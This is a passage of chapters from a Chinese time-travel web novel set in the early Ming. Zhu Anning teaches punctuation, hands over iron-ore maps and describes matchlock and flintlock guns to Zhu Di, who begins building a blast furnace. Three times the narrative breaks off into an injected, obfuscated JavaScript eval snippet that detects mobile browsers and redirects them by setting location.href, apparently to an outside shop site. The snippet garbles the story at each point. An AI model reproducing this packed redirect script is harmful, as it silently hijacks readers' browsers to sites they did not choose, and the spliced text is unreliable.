若能让读书变得更方便些,怎么看也是一件大好事啊。 其实往前他读过的不少带注解的书籍,其实都是由上一任读者所做的句读,这就是逗号句号的原型。 “确实有点意思,读起来方便了许多,比往日我先生教我的记号,要好用不少。” “……” 朱安宁自然是不会说出什么,原来以前也有标点符号这种傻话。 他看了朱标许久,确定的事情是,现在肯定有标记的方法……可怜他一个理科生,哪知道句读这种说法…… 但是他也确定了另外一件事情,那就是现在的标点符号巨不好用,或者是不知道什么原因没有推广开来! 不然这伍文也不会说出这样的话语。 看着对方的态度,他的汗终于也是少了些,手也不自觉地重新摆回了老干部姿势。 “伍哥你也觉得有用吧,这蝌蚪一般的代表中顿,小圆圈代表句子结束。” “嗯,确实是这样没错,但是仅靠句读,并不能说一个月就教会这庄里的孩童吧,安宁小弟,你对读书,可能还是过于儿戏了。” 只见朱标重新坐了下来,朗声说道。 “须知道,天下读书人,都是苦读许多年,才说对经书有一定了解,你却说一个月就要教会没有读过书的学童学会论语,太托大了。” 说实话,朱标并不看好朱安宁。 这是再自然不过的事情。 但是他不知道的是,朱安宁敢说出这样的话,自然还是有后手的啊。 这逗号句号,不过是小漏一手而已,还有更重要的东西,还在朱安宁的房车电脑里。 “哈哈,连伍哥都不看好我啊,不过这种事情,不试试怎么知道呢?” “嗯,反正你与希直的赌注,无伤大雅,我就等着看好戏咯?” 朱标也是朗声一笑。 今日方孝孺宋慎的到来,对他来说的确就是小插曲。 甚至不如朱安宁随手点的句号逗号重要。 “对了,今日还有一件重要的事情,方才你和希直他们说话的时候,四弟告诉了我,说你这边有铁矿石的消息?当真?” 朱标没有忘记今天过来的目的。 他重新把话题引回了正轨上。 这也是让朱安宁呆了下。 啊?刚才一片混乱,那伍燕是什么时候跑去和他哥说这铁矿石的事情的…… 自己怎么没发现…… 唉算了,这不重要。 朱安宁也没想太多。 他开口回道:“确实是有些铁矿石的消息,就是等伍哥你来,我把那铁矿石附近的舆图给你。” 朱安宁又麻利的返回了车内,扯出了早就准备好的遵化铁矿地图。 朱标对那顺天可是老熟了,他一眼看过去,就警惕了起来。 “顺天?” “呃……确实是那附近。” “安宁小弟……你不是说,你手头只有北边的舆图么?这……” “嗯?顺天不也是北么……” 朱安宁想打个哈哈。 但是朱标的眼神却越来越危险,这让朱安宁有种如芒在刺的感觉。 私藏舆图,哪个朝代都是杀头大罪。 但是,朱标却也有点拿捏不定。 他能感觉得出,朱安宁一定还有藏起来的秘密。 但是……他又想到了,这安宁小弟,连官都不太想做,所说所行之事有多有仁心…… 特别是,他的药还救了自己孩子。 几件事情揉在一起,终于是让的目光缓和了下来。 “嗯,确实也是,但是若是涉及到咱大明境内的舆图,安宁小弟,你须知,外露舆图,是死罪。” 他说得已经很婉转。 私藏什么的,他朱标什么都不知道,但是如果给外人掏出来,那就是该死了。 这话却让朱安宁也嘀咕了起来。 奶奶个腿的,那现在不就是正在外露么…… 怎么,你是太子代言人啊…… 只是他也知道,这伍文,大概是不会害自己的……吧…… 两人竟是不约而同地叹了口气。 然后朱标才继续开口:“安宁小弟,你可以说说那矿在哪么?成色是否真的有你说得那么好。” 好不好看对比。 比土澳那肯定没得比,但是比起大部分的贫铁矿,这半富矿,已经算是救命的储备了啊。 朱安宁听见朱标发问,也没有藏着掖着,钢铁和粮食,是他认为最重要的两件事情。 所以他也是格外上心。 只见他细细地摸索到了一个大概的范围。 “伍哥,就这一片,你得告诉太子,好好找,这北边的矿,不仅品质好,用那边的森林锻造,更是相当合适,绝对能锻出团钢。” 朱安宁是说得言之凿凿。 朱标却换了一副表情。 他非常地严肃。 “安宁小弟,你对钢材一事,也有研究?你可知道锻出钢来,是一件多难的事情?” 当然知道…… 初中生都知道。 不就是温度不够嘛,生铁熟铁,明初早就可以随便锻了。 但是钢这种产物,那是相当讲究炉子温度的。 在真正进入工业时代之前,基本只有两个法子量产钢。 要么就是杂质少点的富矿,运气好点,加树枝去搅拌,也能烧出对应含碳量的钢。 要么,就是生熟铁混合,突出一个合成看运气…… 而不管是哪种,都必须要用树木去烧碳点高炉。 用煤之类的化石燃料,以现在的技术来看,那是断然不行的,含硫量太高了啊。 朱安宁叹了口气。 真就是对这国境内的矿产资源有些无语。 量大人均少,还品质不好。 “我略知一二,所以我才觉得这事相当重要,希望伍哥能好好跟太子说道说道,倘若这矿真的能成,那北境刚好树木又多,造高炉绝对方便。” “好,我会尽早禀告太子的。” “哎,不说刚,铁的品质能好些,造火器也更方便安全啊。” “安宁小弟,身在农庄,却依旧是忧国忧民啊。” “好歹我也挂了个职,算朝廷命官吧?” “那定然是算的。” “那本大人,为朝堂分忧,没错。” “哈哈,那也是有道理的。” 两人一同笑了起来。 气氛是松了不少。 今天的收获,朱标是相当满意的。 毕竟两人进行了亲切友好的会谈,朱标对此表示赞赏,他也尊重朱安宁有所保留的做法。 而对于他和方孝孺的赌约保留态度。 远处的李文忠,看着朱标和朱安宁同时哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378736|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大笑了起来,便也知道这两方会谈,大概是要接近尾声了。 他还站在那实验田里。 李景隆有些唠叨地在介绍着田地里的菜。 不管是番薯土豆还是玉米,亦或是辣椒之类的作物,都长势良好。 大部分确实要归功于李景隆。 所以他才会介绍得如此清楚。 李文忠把目光拉了回来,看了眼自己那黑了不少的儿子。 突然开了口:“九江,在这学到了不少东西吧。” 这个问题,不像是问题,更像是肯定句。 李景隆哪知道自己老爹会突然发声,那是愣了愣才回话。 “先生确实教会了许多,单单农家一事,我就觉得门道颇深,是有学问的,出了农事先生时不时也会说些大道理,比经书上面说得可实在多了。” 他毕恭毕敬地回了话。 是一副成熟了许多的模样。 李文忠则是感叹不已。 须知道他儿子,是有些顽劣的,而这一段时间,在这永乐庄,看着就是乖巧了不少啊。 他突然就有点感谢朱安宁。 其实,除了朱安宁,李文忠要感谢的话,还有一个朱棣。 他的老拳,可不是开玩笑的…… “你觉得这先生好的话,就继续呆在这里吧,多学些东西,太子未来会有安排的,知道么?” 李文忠远远地看了眼朱安宁。 他看人向来就很准。 作为权力核心的一员。 他不会轻易站队,虽然朱元璋和朱标并不介意这事情。 他们可是相亲相爱两父子,谁当皇帝都无所谓那种。 但是李文忠却还是不会轻易站队。 他很清楚自己这舅舅的脾气,现在,不能代表未来啊。 但是不站队,也是可以发育的啊。 比如这朱安宁,绝对就是未来可期。 朱标和朱元璋都同时认可的人,不就是最值得结交的人么? 李文忠已经下了决定,一定要让自己的儿子,好好呆在这里。 应天府里,经过胡惟庸一事之后,表面是平静了,但是他知道一定还会风波再起的。 所以自己这唯一的儿子,不如呆在这里。 呆到朱安宁封官进爵,那自己的儿子,也自然会有安排。 这便是李文忠的想法。 李景隆听见父亲的话,却也没想那么多,只是简单的回了个是。 而房车边上的树下,朱标朱安宁的谈话已经接近了尾声。 “安宁小弟,那我就带这些舆图先回一趟了,这等重要的大事,拖不得啊。” “对对,赶紧让太子去挖矿……” “呵呵,安宁小弟你比太子还急啊。” 不急不行啊,发育越早,结局越好嘛。 不知道怎么回话的朱安宁也只能笑了笑。 起身开始送朱标,而远处的李文忠也识趣的走了过来,临别前,他还嘱咐了两遍李景隆,要他听话。 直到朱棣都快要忍不下去:“曹国公,放心吧,我在,九江他可听话了。” 他一边说着一边扬了扬拳头。 看着自己儿子缩了缩脖子的样子,李文忠也是哭笑不得。 立马就知道了什么情况。 但是也无话可说,只得快步到了朱标的身边。 两人就这样走到了院外,往大道上走去。 告别过两人的朱安宁,回到了院内。 不免觉得今天有点魔幻,但是又很是兴奋。 兴奋的是,他奶奶的,终于把这铁矿石的消息递上去了,只求上面的朱标朱元璋能有点脑子,赶紧用好这矿和地图。 而魔幻的感觉,则来自于方孝孺。 这大哥,在各种明初的小说里被翻来覆去的杀,也是没谁了。 天知道这历史有没有变,未来朱棣会不会靖难然后弄死他。 朱安宁摇了摇头,有点想笑。 不管是哪本书,哪种史观,这方孝孺都是个犟种,是没错的。 而他今天确实也见识到了,这B,有多犟。 远处的朱棣等人,看见朱安宁送走了太子和李文忠,正想过来问晚饭的事情。 却又看见了朱安宁,快速地钻回了自己的房车中。 放车内的朱安宁打开了电脑。 嘿嘿笑了起来。 他的鼠标,点开的是,一个名为《补课资料》的文件夹。 第一百三十三章 火枪更迭哪有那么简单 朱标已经把新的舆图带回了宫内,那是满心欢喜,一路小跑。 几张图能帮忙打仗,一张图还能挖矿,美滋滋。 而李文忠也理所当然地跟了上去,他需向朱元璋汇报那舆图的具体情况。 只见殿内,朱元璋和刘伯温、李善长,正在商量着什么似的,说着话。 竟也没有第一时间注意到朱标等人来到了外面。 “上位,上次那朱安宁献过的计策,韩国公与我,还有几个阁臣都议过一轮了,具体实施那是困难重重啊……” “边疆土官,土人情况各不相同,上位所想的挑选个地方先行试一试,我们商量了许久,也没个定论……” 刘伯温和李善长,都有点踌躇。 两人都是听过那朱安宁的搅屎棍策略的,那是惊为天人。 其实就是小英的离岸制衡而已,他们商量一轮后,觉得难以实施的原因,那再简单不过。 其实朱安宁的说法,是完全没有问题的。 有问题的是……如今的大明…… 老朱不想用贸易司那么麻烦的法子,因为如今的大明,没有余粮,他更不想开放铁器给到边民,要知道,边陲之地向来缺乏铁器,你把铁锅卖给他们,回头不就变成刀剑了么…… 盐是一个好选择,但是仅仅是盐,就想拿捏别人。 那说出去,朱元璋自己都想笑。 所以老朱给出来的改良计策是,先给我打!打服了再换上朱安宁的计策。 但问题是,先武力镇压且要镇压得完全的话…… 这难度系数堪比三米跳台旋转七周半。 西北向来彪悍,打不服。 西南……大自然比人更为彪悍,将士们水土不服…… 真要硬上的话,大概率就是菲律宾炸鱼队般的结局。 所以归根到底,还是要靠朱安宁的法子,先用贸易司解决第一步,最为实际。 结果绕回来,还是得看粮食能否有盈余……或者有没有其他东西可以和那些土人通商,拿捏住他们。 这朱元璋听完脸是黑到不行。 他知道两人说的都是实话。 他也是想了老半天,实在是没有法子了,才寄希望于这几个文臣。 他们读了那么多鸟书,看看能不能从鸟书里面找点法子来。 但是李善长和刘伯温两人加阁臣都想不出个好法子来,这就让他很是难受了。 不是又得回那永乐庄去找朱安宁要法子吧? 那也太丢人了吧!!! 心情真不太优美的他,抬头就看见朱标和李文忠风风火火地闯了进来。 太监也是不敢拦朱标,所以两人才会在没有通报的情况下冲进来。 “父皇!” “上位!” 两人也是走得急,没看见朱元璋的表情,刚踏进殿内便连忙唤了声。 “慌慌张张!就不能有点太子和国公该有的样子么?” 老朱生着闷气,所以即便是自己的好大儿和好侄子,也给不了什么好脸色,随便寻了个由头,骂了两句。 这可把朱标整的有点,莫名其妙了。 但是他也管不了那么多。 扫了一眼殿内的人。 是韩国公李文忠和诚意伯,两人都是知晓内情的人,并没有好什么忌讳。 他直接就把舆图掏了出来。 “北边的地图,全齐了,曹国公看过了,非常详尽!” 朱标没有管他黑着脸的老爹,直接朗声说道。 结果能接话的依旧只能的朱元璋,只见他脸色终于是缓和了些。 “都齐了?保儿,确定没问题吧!” “回上位,这舆图,十拿九稳!” “好!能有舆图,这第三次北征,那是赢定了,一战定乾坤!”朱元璋虽然黑着脸,但是还是宽慰了些许,也是不自觉地说出了他老对手陈友谅的传世名言。 这让李善长是有些无语的。 感情你说可以,我说就是错是吧! “父皇,还有,关于铁矿的舆图,也拿回来了,就在顺天附近!” “嗯?铁矿的也确定了?”这就有点意外之喜了。 “那就快些让人去寻矿,那朱安宁说得如此笃定,想必也不会坑我们吧。” “应对不会,当地确实是有沙坡峪冶铁的,附近有其他矿的并非没有可能。” 两父子快速交流了意见。 而其他人也是听得明明白白。 李文忠还好,他是知道消息的。 而李善长和刘伯温,也总算是回过了味来。 “铁矿?” “上位,冶铁一事不是小事啊,那地方的铁矿,品质如何?” 两人同时看向了朱元璋和朱标。 只见朱标笑了笑。 “按安宁小弟的说法,铸造火器,应当是可行的。” “当真?!”李善长倒吸了一口凉气。 他可不是什么普通的文人,他可是昔日的后勤大队长。 是玩过火器制造的那种,铁器的品质对矿石的影响有多大,他一清二楚。 所以听见那矿可以造火器,他不由得咧嘴笑了起来。 这家伙虽然有点点贪,又有点点恋权,还有点点嫉妒之心。 但是总体而言,他还是心向老朱心向大明的好同志。 方才对于边疆离岸政策的讨论虽然陷入了僵局,但是一下又迎来了两个好消息,也算是好事了啊。 正当殿内的众人,准备换个议题的时候。 朱标突然想起了什么那般,开了口。 “对了,那朱安宁,今日和方孝孺,打了个赌。” “谁?”朱元璋一时之间有点错愕。 日理万机的他,还不是很熟悉这个人。 “方希直。” “哦哦哦,还未派官那个浙东学生是吧。”朱元璋把目光转向了刘伯温。 随着朱标的描述。 事件的来龙去脉很快就被殿内的人知晓。 几个人都是乐不可支。 “好啊好啊,这乡学之争,有点意思,且看结局吧。”朱元璋摇了摇头。 本来他就是忙活了一天,虽然已经有了阁臣,但是北征的准备还是压力极大,再加上他一直想施行朱安宁的离岸制衡政策,却又一直找不到合适的地方。 几件事情下来,是极为劳累的。 结果朱标不仅来回来好消息,还给了个乐子,那是让朱元璋放松了不少。 即便他贵为皇帝,依旧是个正常人。 吃瓜嘛,不丢人。 “呵呵,那就看看这个赌约,是个什么结果咯。” 朱元璋那是笑呵呵回了朱标。 而刘伯温,那是突然就,汗流浃背。 心里想的是。 这小娃娃是不是想不开,去和那朱安宁杠……他是知道方孝孺有多倔强的。 须知道还是文人懂文人。 不行,必须要通知已经在乡下的宋濂,让他赶紧回来!!! 别惹出什么大乱子哎。 刘伯温,在心里默默地做了决定。 —————— 永乐庄,小院房车里。 朱安宁满脸笑容地点开了《补习资料》。 然后一脸错愕。 麻蛋,开错了……这边的都是avi格式的,是那些海那边老师们的资料,不是自己想要的资料…… 这些东西还是改日再欣赏,今儿有正事,咳咳。 他连忙退了出去。 只觉得自己刚才一定是和那方孝孺立赌约,那是气傻了。 他连忙回到正确的文件路径上,点开了真正的《补习资料》 说是学习资料,不过是以前兼职群认识的师兄师姐们流传下来的初高中辅导书电子书带答案版本。 这就是他敢和方孝孺犟的最大依仗。 李奶奶的,别的不敢说,这文言文解析,特别是论语十则的解析,这可是太齐全了。 赌上自己大学狗兼职朱老师的名声,也不能输给你个耐诛王吧。 朱安宁先前的赌约可很鸡贼,学会论语十则,他可没说哪十则。 那就用现代教材那十则咯。 朱安宁很快就点开了文件,看了起来。 当确定无误后,他还花费了些时间,抄了一份下来。 打印机是不敢用的了,A4纸用一张少一张,打印地图已经用了不少。 再用那可老心疼了。 正当朱安宁准备休息的时候。 他瞄到了文件夹里的其他分类。 然后是兴奋了起来。 大学时打兼职,天知道自己要教什么学生,什么科目。 反正是能赚钱就赚钱,师兄师姐们大抵也是如此。 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378737|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他的是,全套的资料。 这意味着。 九科齐全啊。 之前朱安宁一直都没想到打兼职的教案还能派上用场! 真是思维限制了他的发挥! 他天天就想着搞农政全书,搞天工开物,搞他的大学农学教材,却忽略了这么重要的宝藏。 有了这些资料,他说不定能试试,解决高炉炼铁的问题。 之前有天工开物,他都不敢说也不敢碰,就是因为天工开物里面的很多关键内容……他压根就看不懂…… 古人讲究经验,那是一套又一套的术语,加之又是文言文,看得他一个头两个大。 要说不说,他理科底子还是有的,把现代资料结合天工开物,摸索摸索,指不定能搞出点什么来。 这便是他兴奋的原因。 解决了教学的问题,顺便还给他提供了点炼铁的思路,心情大好的朱安宁,当即就准备下车去休息休息。 结果一开门,就看见了目光灼灼的朱棣。 什么勾八眼神…… 这伍燕不是个玻璃佬吧…… 古代这么开放的嘛…… “小燕……你干嘛……” “朱哥……今晚吃什么……” 两人的对话相当简短,却也足以让朱安宁血压高起来,被气乐的他不由得想踹这小燕一脚。 结果却被对方灵活地躲了过去。 只得站那房车车门门口骂道:“天天就吃吃吃,你们几个也寻个日子,好好跟我学做饭,省得我不在你们几个就原地饿死!” “诶,学就 学嘛,所以今晚吃什么?”朱棣应了声,但是还是把话题执着地绕了回来,笑得那叫一个憨…… “……”此时的朱安宁也是没了脾气。 他寻了张椅子坐了下来,看了看天色。 “这不是还早么!” “我这不是提前问么!”朱棣也是大大咧咧的坐了下来。 这群年轻人中,就属他和朱安宁关系最好,其他几人包括朱橚,都已经把朱安宁当做先生。 那明朝,先生可是不得了的,需要敬的。 这一敬,就有了些距离。 而朱棣……是没有这份距离的。 看着坐下了朱棣,朱安宁也是乐了起来。 他忽然想到了这伍燕,好像是有些身手的样子,比他大哥,五弟,都要好上不少,甚至看他那天打架的姿态,比戚祥是不足的,但是也差不了太多。 是个练家子啊。 “嘿,我看你还挺有脾气的,你也是有点手脚功夫的,小燕,有没想过去做个军爷,以你打架的功夫,指不定能圆你老爹光宗耀祖的梦……呃,也不对,你大哥都混到太子门下了,已经光宗耀祖了。” “军爷?我要是去参军,高低是个将军!”朱棣翻了个白眼。 要说他是将军,也没错。 永乐朝朱高炽殿下的征北大将军嘛。 没错。 听见朱棣的叫嚣。 朱安宁是更加乐不可支。 “我就这么一说,你还真将军啦?你也就打架看起来虎,兵器会不会用?火器会不会使?” “笑话,兵器,燕爷我样样精通,火器,爷我一样百发百中。” “啧,这大话,火器能顶得住你射一百发?还百发百中。” 朱安宁也是翻了个白眼。 古代火器什么品质,看明末资料,那是一清二楚。 “那我就不能换几根火器嘛……哎,对了,朱哥,你说有没有法子,能让我们的火器更好使啊。”朱棣也是随口问问。 他虽然知道朱安宁有很多千奇百怪的想法。 但是涉及到专业的火器领域。 也就是闲聊了吧。 没想到朱安宁听到朱棣的话语,却是坐了起来,长长地叹了口气。 “法子一大堆,但是不还是咱们的铁,不好使嘛。” 这话语也是说得相当轻巧。 “比如咱们的火器,点火那是慢极了,发射不了两次弹丸,别人都冲到你跟前了,也就是听个响。”朱安宁一边叹气一边继续说道:“如果能搞一条绳子,挂在枪边,慢慢烧,这点火不就方便些了么?” 这个说法,其实就是火绳枪,至于朱安宁叹气的原因,那再简单不过。 这个想法很好,但是枪管呢?! 还是铁的问题嘛! 第一百三十四章 咱大明,不行就是不行嘛…… 朱棣一听朱安宁提及火绳枪,双眼顿时放光,整个人从原本的吊儿郎当变得精神抖擞。 他可不是那种对新玩意儿不感兴趣的老顽固,相反,他是认为科技的进步能搅动风云的,这点他可比他老爹朱元璋,那个被称为朱八八的老农,要前卫多了。 “朱哥,这火绳枪,听起来点火是挺方便的,不过那火绳烧起来,岂不是一会儿就没了?”朱棣挠着下巴,若有所思地问道。 朱安宁看着朱棣那副认真思考的模样,也是笑了起来,只觉得这家伙还算有点研究,怎么感觉有点不像是土绅家的孩子呢? 不过他还是回答了朱棣的问题。 “没错,火绳确实烧得快,但如果用油盐泡一泡,耐烧程度会翻倍。不过嘛,再怎么耐烧,也就撑个几时辰吧。” 火绳的劣势其实有不少,这只是其中之一。 不过比起火门枪这种东西,已经是领先太多了啊。 “几小时?!那简直就是战场上的神器啊!”朱棣兴奋地跳了起来,脑子里全是自己建立一支火绳枪军队,杀向北边,然后封狼居胥的壮观场面。 也不怪他会如此魔怔。 是因为火枪已经很多年没有改进过了。 现在的所谓火枪,不说元朝了,本质上和宋朝的,都没有太大区别…… 这真就是三百年如一日…… 而朱安宁随口一提,就是跃迁式的改进,虽然还未试验,但是想想就知道,这是绝对可行的。 朱棣对火枪是真的有研究的,所以他立马就是咧着嘴笑了起来。 多少有点智商不是很高的样子。 不远处的朱橚看着朱棣那手舞足蹈的样子,眉头紧锁,只觉得这哥哥是不是脑子出问题了? 但他并没有过来打扰,这点分寸他还是有的。 朱安宁也没想那么多,只见他叹了口气。 继续说了下去。 “要是能把燧发枪弄出来就好了。” 这句感叹发自肺腑,其实他更想说的是,要是能把AK47造出来就好了……但是这个……呵呵,咱们又没有系统,是吧…… 朱棣那是笑收了收,满脸问号。 听朱哥的语气,是还有比火绳枪更有效的玩法? 说话不要说一半嘛,显得自己很呆…… 他也是终于收敛了些许,坐了下来,准备静静地听燧发枪又是什么个玩意。 既然朱哥开口了,他自然也是会继续说下去的。 “燧发枪嘛,就是用燧石去代替我刚才说的火绳。”朱安宁缓缓开口,一边解释,一边端起茶杯轻抿了一口。 他的话语中透露出对燧发枪的赞赏。 不说国内国外,就说这发明,确实是比较牛皮的。 “火绳,你们也知道,再怎么耐烧,终究是会烧完的。而且,在真正的战场上,火绳的缺点就更加明显了。”他放下茶杯,继续说道,“想象一下,夜晚或者傍晚,你带着火枪埋伏在暗处,等待敌人的到来。如果你不点着火绳,等到开战的时候,敌人说不定都已经冲到你眼前了,而你的枪却还只是一根烧火棍,毫无用处。但如果你提前点燃火绳,那就等于是在告诉敌人,‘我在这里,快来砍我吧’。这种情况,想必是已经发生过许多次了……” 朱安宁的话让朱棣陷入了沉思。 他都知道,不说火绳枪,现在的火枪也存在这样的问题,但一直以来都没有找到更好的解决办法。 而现在,朱安宁似乎准备为他指明了一条新的道路。 “所以,燧发枪才是未来的正途。”朱安宁接着说道,“把燧石塞到枪管后方,通过击发机构产生火星,从而点燃火药发射子弹。这样一来,不仅解决了火绳易烧完的问题,还大大提高了射击的隐蔽性和突然性。” 他的话语虽然不快,但每一个字都清晰地传入了朱棣的耳中。朱棣听着听着,突然整个人就愣住了。他的大脑仿佛当机了一般,一时间竟无法消化这个全新的概念。 “还能这样?”他喃喃自语道,“怎么还能这样?” 他的心中充满了震撼和疑惑。燧石,这个在他眼中烂大街的东西,竟然能够被巧妙地运用到火枪上,解决了一直以来困扰他们的难题。这简直是天才般的创意! 什么火枪火绳枪,这不是弱爆了么! 朱棣的心中不禁涌起了一股狂喜之情。他仿佛已经看到了未来战场上,他的军士们手持燧发枪,悄无声息地接近敌人,然后突然开火,将敌人打得措手不及的场景。 这枪如果能早出来。 将是一种全新的战术,一种能够改变战争格局的战术! 一念至此,朱棣,已经不仅仅是在考虑北方的战场了。 他的心中开始构想着一个更加宏大的计划——是不是可以利用这种新式火枪,将他们的势力范围向西边扩展过去呢? 这个想法一冒出来,就再也挥之不去。朱棣知道,如果他们能够成功研制出燧发枪,并将其运用到实战中,那么明朝的军事实力将会得到极大的提升。到时候,无论是北方的敌人还是西边的异族,那不是有手就行? 反正都是打。 或者 说,反正都是YY。 此时我们的永乐大帝(暂未),陷入了白日梦之中。 朱安宁哪知道自己随口一提,就能让眼前的少年郎高潮。 他轻描淡写地继续说道。 “但是……你也知道,如果这东西这的这么好用,我早就造了啊,不说别的,献给咱们那抠门皇帝,换点银子花,他不香么?” 他翻了个白眼,把凉茶喝了下去,不由得皱起了眉头。 草,好难喝。 这一番话,简直效果拔群,宛如一盆凉水…… 朱棣此时也是终于冷静了下来。 没错。 应该是有缺点的才对,不让以朱哥的性格,不早早就找人去造了啊。 “朱哥,是有什么致命缺陷?” “嗯,打不着。” “啊?” “啊什么啊?就是字面意义啊,打不着火……” “不是有燧石么?!” “你想想你平日用过燧石吧,得磕多大力,才能打出火星?”朱安宁一脸认真地问道。 这话犹如一语惊醒梦中人,朱棣的双眼顿时亮起,他立马就听懂了朱安宁的弦外之音。要击发出火星,那必须得寻个机构去击打那燧石……他心中暗道,这个机关,可是个技术活啊! “需要相当力气。”朱棣沉吟道。 “那不就是咯,”朱安宁接口道,“想要打出火星,你可以整一块铁垫在那里,然后用机关连接到枪管上,扣一下,让铁弹撞击燧石,火星就能出来。你……你大概听得懂吧。”他手舞足蹈地解释着,一副兴高采烈的样子。 朱棣虽然半懂不懂,但看着朱安宁那兴奋的神情,也只能硬着头皮点头:“嗯……” “那现在问题来了,”朱安宁继续说道,“先不说我要扣多大力,就说你去哪里寻这种铁皮吧。我的要求很简单,弯曲不能断,回弹后能再次弯曲,如此往复上百次还能维持机能。这个要求不高吧。” 这个要求听着极其困难。 实际上那真就是极为困难。 真就要了明朝的命,仿佛一道无法逾越的鸿沟摆在面前。 还是那个老问题,能不能造这东西?其实就是弹簧钢的问题。 答案是能,但是太看运气了。毕竟现在高炉温度不够的情况下,造钢就是靠生熟铁混合,或者用木条去拌熟铁。不管是哪种方法,都是靠手艺人的熟练度或者纯粹碰运气。 “不说这击打燧石的钢片,就说枪管,我们都常常造不出合格的……”朱安宁感叹道:“我们的高炉温度不够。” 还有经典的以次充好问题……钢?铁造出来质量堪忧的都不少。 “嗯?朱哥对高炉也有研究?”朱棣挑了挑眉。 “哎呀,有所涉猎,我们的高炉温度不够,你知道么?” “听些熟悉的工匠说过……他们都说要造更好的铁器,这高炉温度至关重要……” “对啊……就是温度……”朱安宁点头附和:“所以说,我之前提都不想提,就是因为,我们铁矿又不好,高炉还温度不高,那真就是说造什么都是白搭……那能激发燧石的钢片,我们目前很难大量生产吧……咱们大明,不行就是不行嘛……” 朱棣立马就听懂了朱安宁的意思。 要击发出火星,那必须要寻个机构去击打那燧石…… 那这个机关…… “朱哥的意思是,那个机关需要相当力气才能击打出火星,而那钢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他既然能有开工天物,肯定是想稳扎稳打提高了工业水平再说的。 怎知道今天他牢骚的对象,却是朱棣。 只见朱棣眼睛里闪着精光。 仿佛在盘算着什么。 两人的聊天就此告一段落。 朱安宁回身进了车里。 “对了……你们要不……吃鸡蛋面吧……” 朱安宁交代了一句。 却没有等来朱棣的暴跳如雷,明明平时吃多两顿鸡蛋面好像要了他的命一样。 今儿却在那里沉默不语。 把朱安宁整的有些莫名其妙。 但是他也管不了那么多了,他还需要回车里备课。 明日……他想抓两人来试听一下。 毕竟和方孝孺的赌约,也是相当重要的。 在朱安宁关上车门的一瞬间。 朱棣起了身。 只见他径直往门外走去。 很快就消失在了小道上。 —————— 朱安宁有睡懒觉的习惯。 大学开始就有了,毕竟大学之前没得睡。 这是一个好习惯,因为很爽。 换言之,如果没得睡懒觉他会非常不爽。 当外面咚咚咚的声音,传来第N次的时候,他终于爆发了。 彻底被吵醒的他,陷入疯狂,很不爽地跳下了房车。 结果绕了一圈……院内一个人都没有。 然后他才发现噪音的来源,是院子外。 当他冲到外面,正准备怒骂几句的时候。 嘴巴却也是怎么也闭不上了。 原因很简单。 一堆他熟悉得很的匠人们,正在那热火朝天地干着活。 而朱棣,也正混在其中。 忙前忙后。 直到过了半晌,朱安宁才终于是忍不住,把朱棣抓了过来。 “小燕,你叫来的人?这是干嘛?大清早的拆迁?” “拆迁?什么意思?” “哎,不是,我就问你,人是你叫来的?” “嗯……算是吧……” “在干嘛?……” “造高炉!” 这个回答理直气壮,朱安宁,不免吸了一口冷气。 只觉得是不是自己还在梦中。还是昨天备课背傻了。 “造高炉干嘛!” “炼铁!” “啊?” 第一百三十五章 你但凡画个饼,我说不定都给你造火箭了…… 朱安宁的面容凌乱不堪,头发也是散乱无序。 他站在自己院落河边,眼神中只有懵逼,和,懵逼,多少还带点恼火。 昨夜,他在房车里,吃着泡面,翻来覆去地看《论语十则》和教案。 作为一名合格的大学毕业生,脱离兼职事业已久的他,眼神早就变得愚蠢而清澈。 所以看这些东西,还是有点压力。 不过人选他倒是挑好了,柳文和胡修道就行,这两个人选,是他经过深思熟虑后选定。 这两人皮归皮,年纪要比孩童们大些,接受能力应该也更强…… 还顺带看了看好不容易从缓存文件里刨出来的一些图片和文件。 高炉的改良是有的。 火枪的基本构造也是有的。 他突然很感谢在现代时那个下班后就闲来无事天天逛网页的自己…… 所以,昨夜整完这一堆破事他才睡下。 原本是想着美美地来一觉。 待到他快要梦见和某个S型曲线的老师,卿卿我我。 共同升华的时候。 天灵盖外面传来了巨响…… 咚!!!咚咚! 轻轻敲醒了他沉睡的心灵…… 所以……站在河边的他,才会如此地凌乱,如此地恼火。 工匠们正在辛勤工作,铁锤敲击声、砖石搬运声此起彼伏。 在这背景音中,他在压力朱棣。 “造高炉干嘛!” “炼铁!”朱棣说得是理直气超级壮。 “啊?!” 朱安宁是有点抓狂了。 不是吧……这什么行动力? 这小燕放现代不得卷死一群咸鱼打工人啊。 而且昨天不是就是随便聊聊么。 我靠,那幸好昨天没有口嗨蒸汽机或者内燃机…… “你炼铁干嘛啊!”朱安宁有点明知故问,主要是那重要时刻被吵醒,出来又见到这阵仗,换谁都抓狂。 结果回答他的人,并不是朱棣。 两个顶着黑眼圈的疲惫人影,凑到了朱棣的身边,斩钉截铁地说道。 “造燧发枪!” “造燧发枪!” 朱元璋脸黑,毕竟早年的经历让他很难白回来。 至于眼圈,那是更黑。 朱标也好不到哪里去,脚步都虚浮的状态。 但是他们还是坚持来了这永乐庄。 